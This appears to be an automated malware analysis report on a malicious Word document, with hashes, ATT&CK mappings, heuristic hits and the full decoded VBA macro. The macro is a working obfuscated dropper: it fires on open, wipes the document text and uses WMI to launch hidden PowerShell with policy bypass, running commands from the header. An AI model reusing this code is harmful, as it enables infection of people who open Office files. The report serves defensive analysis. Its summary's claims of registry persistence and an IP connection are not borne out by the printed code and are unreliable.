Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 837c725a90049806…

MALICIOUS

Office (OLE)

53.5 KB Created: 2018-06-21 08:45:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: d6512cbb2a018863b897045d2b75b247 SHA-1: cefc5345dbe55e59d604cf1fddf06fe58c1d27c3 SHA-256: 837c725a90049806292e3e28c36b4813590785b10caaf7bd7def6da59131c870
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information

The sample contains a VBA macro that executes upon opening the document, as indicated by the Document_Open heuristic. This macro utilizes CreateObject and GetObject calls, along with references to VirtualAlloc and GetProcAddress, suggesting it is designed to download and execute a second-stage payload. The script attempts to establish persistence by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy and communicates with an IP address and port (10.10.10.10:443).

Heuristics 9

  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        fsObj = "Scrip" & "ting" & Chr(46) & "FileSy" & "stemObject"
    If (CreateObject(fsObj).FolderExists(strfldr)) Then RptFldrStat = True Else RptFldrStat = False
End Function
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Const HIDDEN_WINDOW = 0
    Set veni = GetObject(strRtMng)
    Set vidi = veni.Get(strProc & "Startup")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    in1Line = ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary).Range.Text: _
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://support.microsoft.com/en-us/kb/924074 In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2956 bytes
SHA-256: 417b2b78cec59cbac73f633471d223f196ef053347643396edb3e52c0f2fc018
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public in1Line As String
Public strfldr As String
Public strVVV As String
Public strExt As String
Public strRtMng As String
Public strProc As String

Private Sub Document_Open()
    in1Line = ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary).Range.Text: _
    ContReplace: _
    Enc_Change: _
    RptFldrStat: _
    Memorandum
End Sub

Private Function ContReplace() As Variant
    Dim wordText As String
    wordText = "This is an example of Unicode template"
    ActiveDocument.StoryRanges(wdMainTextStory).Delete
    ActiveDocument.Content.Text = wordText
End Function

Private Function Enc_Change()
    Dim strAlpha As String
    Dim strPoWP
    
    strAlpha = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    strPoWP = "SysWOW64" & Chr(92) & Left(Mid(strAlpha, 23), 1) & "indo" & Left(Mid(strAlpha, 23), 1) & "s" & Chr(92) & Left(Mid(strAlpha, 29), 1) & ":"

    strVVV = Left(Mid(strAlpha, 16), 1) & Left(Mid(strAlpha, 15), 1) & Left(Mid(strAlpha, 23), 1) & Left(Mid(strAlpha, 5), 1) & _
    Left(Mid(strAlpha, 18), 1) & Left(Mid(strAlpha, 19), 1) & Left(Mid(strAlpha, 8), 1) & Left(Mid(strAlpha, 5), 1) & Left(Mid(strAlpha, 12), 1) & Left(Mid(strAlpha, 12), 1)
    strExt = "." + Chr(CStr(Asc(Mid$(strAlpha, 5, 1)))) + Chr(CStr(Asc(Mid$(strAlpha, 24, 1)))) + Chr(CStr(Asc(Mid$(strAlpha, 5, 1))))
    strPoWP = Split(strPoWP, "\"): strfldr = strPoWP(2) & Chr(92) & strPoWP(1) & Chr(92) & strPoWP(0)
    strRtMng = Left(Mid(strfldr, 4), 3) & "mgmts:" & Chr(92) & Chr(92) & Left(Mid(strExt, 1), 1) & Chr(CStr(Asc(Mid$(strfldr, 3, 1)))) & "root" & Chr(92) & "cimv2"
    strProc = Left(Mid(strfldr, 4), 3) & "32" & Chr(95) & "Process"
End Function

Private Function RptFldrStat() As Boolean
    Dim fsObj As String
    fsObj = "Scrip" & "ting" & Chr(46) & "FileSy" & "stemObject"
    If (CreateObject(fsObj).FolderExists(strfldr)) Then RptFldrStat = True Else RptFldrStat = False
End Function

Private Function Memorandum() As Variant
    If RptFldrStat = True Then strProgramName = strfldr & "\Windows" & strVVV & "\v1.0\" & strVVV & strExt Else strProgramName = strVVV & strExt
    Const HIDDEN_WINDOW = 0
    Set veni = GetObject(strRtMng)
    Set vidi = veni.Get(strProc & "Startup")
    Set vici = vidi.SpawnInstance_
    vici.ShowWindow = HIDDEN_WINDOW
    Set vvv = GetObject(strRtMng & ":" & strProc)
    vvv.Create strProgramName & " -" & Chr(101) & Chr(112) & " " & Chr(98) & Chr(121) & Chr(112) & Chr(97) & Chr(115) & Chr(115) & " -NoProfile -" & Chr(110) & Chr(111) & Chr(101) & Chr(120) & Chr(105) & Chr(116) & " -" & Chr(99) & " " & """" & in1Line & """", Null, vici
End Function

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